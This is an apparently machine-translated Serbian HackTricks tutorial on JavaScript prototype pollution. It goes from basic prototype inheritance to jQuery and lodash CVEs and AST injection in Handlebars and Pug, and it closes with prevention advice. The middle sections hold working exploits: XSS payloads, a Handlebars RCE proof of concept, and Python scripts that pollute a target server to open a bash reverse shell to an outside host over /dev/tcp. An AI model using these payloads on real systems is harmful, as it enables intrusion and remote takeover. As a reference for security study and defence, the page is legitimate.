NodeJS - __proto__ i zagađenje prototipa

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Objekti u JavaScript-u

Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznate kao svojstva. Objekat se može kreirati koristeći Object.create sa null kao argumentom da bi se proizveo prazan objekat. Ova metoda omogućava kreiranje objekta bez nasleđenih svojstava.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Prazan objekat je sličan praznom rečniku, predstavljen kao {}.

Funkcije i klase u JavaScript-u

U JavaScript-u, klase i funkcije su usko povezane, pri čemu funkcije često služe kao konstruktori za klase. I pored toga što JavaScript nema podršku za klase, konstruktori mogu emulirati ponašanje klasa.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypes in JavaScript

JavaScript omogućava modifikaciju, dodavanje ili brisanje atributa prototipa u vreme izvođenja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klasa.

Funkcije kao što su toString i valueOf mogu se menjati kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototipnog sistema.

Inheritance

U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.

Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je myPersonObj), nasleđujući objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju iz JavaScript Object prototipa. To znači da modifikacija Object prototipa može uticati na sve objekte u okruženju.

Hajde da upotrebimo drugi primer da ilustrujemo:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Pristup Object prototipu je moguć kroz:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Dodavanjem svojstava prototipu objekta, svaki JavaScript objekat će naslediti ova nova svojstva:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

Za scenario u kojoj je korišćenje __proto__ ograničeno, modifikacija prototipa funkcije je alternativa:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

Ovo utiče samo na objekte kreirane iz Vehicle konstruktora, dajući im beep, hasWheels, honk i isElectric svojstva.

Dve metode za globalno utiču na JavaScript objekte kroz zagađenje prototipa uključuju:

  1. Zagađenje Object.prototype direktno:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Zagađenje prototipa konstruktora za često korišćenu strukturu:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

После ових операција, сваки JavaScript објекат може да изврши goodbye и greet методе.

Контаминирање других објеката

Из класе у Object.prototype

У сценарију где можете контаминирати одређени објекат и потребно вам је да досегнете Object.prototype, можете га потражити са нечим попут следећег кода:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Zagađenje elemenata niza

Imajte na umu da, kao što možete zagađivati atribute objekata u JS-u, ako imate pristup da zagađujete niz, možete takođe zagađivati vrednosti niza dostupne preko indeksa (imajte na umu da ne možete prepisivati vrednosti, tako da morate zagađivati indekse koji se na neki način koriste, ali se ne pišu).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Zagađenje HTML elemenata

Kada se generiše HTML element putem JS-a, moguće je prepisati innerHTML atribut kako bi se napisao arbitrarni HTML kod. Ideja i primer iz ovog članka.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Primeri

Osnovni Primer

Zagađenje prototipa se dešava zbog greške u aplikaciji koja omogućava prepisivanje svojstava na Object.prototype. To znači da pošto većina objekata nasleđuje svoja svojstva iz Object.prototype

Najlakši primer je dodavanje vrednosti neodređenom atributu objekta koji će biti proveravan, kao:

javascript
if (user.admin) {

Ako je atribut admin neodređen, moguće je zloupotrebiti PP i postaviti ga na True sa nečim poput:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mehanizam iza ovoga uključuje manipulaciju svojstvima tako da, ako napadač ima kontrolu nad određenim ulazima, može modifikovati prototip svih objekata u aplikaciji. Ova manipulacija obično uključuje postavljanje __proto__ svojstva, koje je u JavaScript-u sinonim za direktno modifikovanje prototipa objekta.

Uslovi pod kojima se ovaj napad može uspešno izvršiti, kako je navedeno u specifičnoj studiji, uključuju:

  • Izvršavanje rekurzivnog spajanja.
  • Definisanje svojstava na osnovu puta.
  • Kloniranje objekata.

Override funkcija

python
customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Ostali payloadi:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Napad prototipne kontaminacije kroz jQuery $ .extend

Za više detalja pogledajte ovaj članak U jQuery, funkcija $ .extend može dovesti do prototipne kontaminacije ako se funkcija dubokog kopiranja koristi nepravilno. Ova funkcija se obično koristi za kloniranje objekata ili spajanje svojstava iz podrazumevanog objekta. Međutim, kada je pogrešno konfigurisana, svojstva namenjena novom objektu mogu biti dodeljena prototipu umesto toga. Na primer:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija može nenamerno da izmeni prototip, što može dovesti do potencijalnih bezbednosnih rizika, kao što je neovlašćen pristup administratoru ako se svojstva poput isAdmin proveravaju bez odgovarajuće verifikacije postojanja.

CVE-2018–3721, CVE-2019–10744: Napad zagađenja prototipa kroz lodash

Za više detalja pogledajte ovaj članak

Lodash se suočio sa sličnim ranjivostima zagađenja prototipa (CVE-2018–3721, CVE-2019–10744). Ovi problemi su rešeni u verziji 4.17.11.

Još jedan tutorijal sa CVE-ima

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

Alati za otkrivanje zagađenja prototipa

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Ekstenzija za Burp Suite dizajnirana za otkrivanje i analizu ranjivosti zagađenja prototipa na serverskoj strani u web aplikacijama. Ovaj alat automatizuje proces skeniranja zahteva kako bi identifikovao potencijalne probleme zagađenja prototipa. Iskorišćava poznate gadgete - metode korišćenja zagađenja prototipa za izvršavanje štetnih radnji - posebno se fokusirajući na Node.js biblioteke.
  • server-side-prototype-pollution: Ova ekstenzija identifikuje ranjivosti zagađenja prototipa na serverskoj strani. Koristi tehnike opisane u zagađenju prototipa na serverskoj strani.

AST zagađenje prototipa u NodeJS

NodeJS široko koristi Apstraktna Sintaktička Stabla (AST) u JavaScript-u za funkcionalnosti poput engine-a za šablone i TypeScript-a. Ovaj deo istražuje ranjivosti povezane sa zagađenjem prototipa u engine-ima za šablone, posebno Handlebars i Pug.

Analiza ranjivosti Handlebars

Engine za šablone Handlebars je podložan napadu zagađenja prototipa. Ova ranjivost proizašla je iz specifičnih funkcija unutar datoteke javascript-compiler.js. Funkcija appendContent, na primer, konkatenira pendingContent ako je prisutan, dok funkcija pushSource resetuje pendingContent na undefined nakon dodavanja izvora.

Proces eksploatacije

Eksploatacija koristi AST (Apstraktno Sintaktičko Stablo) koje proizvodi Handlebars, prateći ove korake:

  1. Manipulacija Parserom: U početku, parser, putem čvora NumberLiteral, nameće da su vrednosti numeričke. Zagađenje prototipa može to zaobići, omogućavajući umetanje nenumeričkih stringova.
  2. Obrada od strane Kompajlera: Kompajler može obraditi AST objekat ili string šablon. Ako input.type jednako Program, ulaz se tretira kao prethodno analiziran, što se može iskoristiti.
  3. Umetanje Koda: Kroz manipulaciju Object.prototype, može se umetnuti proizvoljan kod u funkciju šablona, što može dovesti do daljinskog izvršavanja koda.

Primer koji demonstrira eksploataciju ranjivosti Handlebars:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Ovaj kod prikazuje kako napadač može ubrizgati proizvoljan kod u Handlebars šablon.

Spoljašnja referenca: Problem vezan za zagađenje prototipa pronađen je u 'flat' biblioteci, kako je detaljno opisano ovde: Issue on GitHub.

Spoljašnja referenca: Issue related to prototype pollution in the 'flat' library

Primer eksploatacije zagađenja prototipa u Python-u:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Ranjivost

Pug, još jedan engine za šablone, suočava se sa sličnim rizikom od zagađenja prototipa. Detaljne informacije su dostupne u diskusiji o AST Injection in Pug.

Primer zagađenja prototipa u Pug:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Preventivne Mere

Da se smanji rizik od zagađenja prototipa, mogu se primeniti sledeće strategije:

  1. Imutabilnost objekta: Object.prototype se može učiniti imutabilnim primenom Object.freeze.
  2. Validacija ulaza: JSON ulazi treba rigorozno validirati prema šemi aplikacije.
  3. Sigurne funkcije spajanja: Treba izbegavati nesigurno korišćenje rekurzivnih funkcija spajanja.
  4. Objekti bez prototipa: Objekti bez svojstava prototipa mogu se kreirati korišćenjem Object.create(null).
  5. Korišćenje Map: Umesto Object, treba koristiti Map za čuvanje parova ključ-vrednost.
  6. Ažuriranje biblioteka: Sigurnosne zakrpe mogu se uključiti redovnim ažuriranjem biblioteka.
  7. Linter i alati za statičku analizu: Koristite alate poput ESLint-a sa odgovarajućim dodacima za otkrivanje i sprečavanje ranjivosti na zagađenje prototipa.
  8. Revizije koda: Implementirati temeljne revizije koda kako bi se identifikovali i otklonili potencijalni rizici vezani za zagađenje prototipa.
  9. Obuka o bezbednosti: Obrazovati programere o rizicima zagađenja prototipa i najboljim praksama za pisanje sigurnog koda.
  10. Korišćenje biblioteka sa oprezom: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procijenite njihovu sigurnosnu poziciju i pregledajte njihov kod, posebno one koji manipulišu objektima.
  11. Zaštita u vreme izvođenja: Primena mehanizama zaštite u vreme izvođenja kao što su korišćenje npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenja prototipa.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks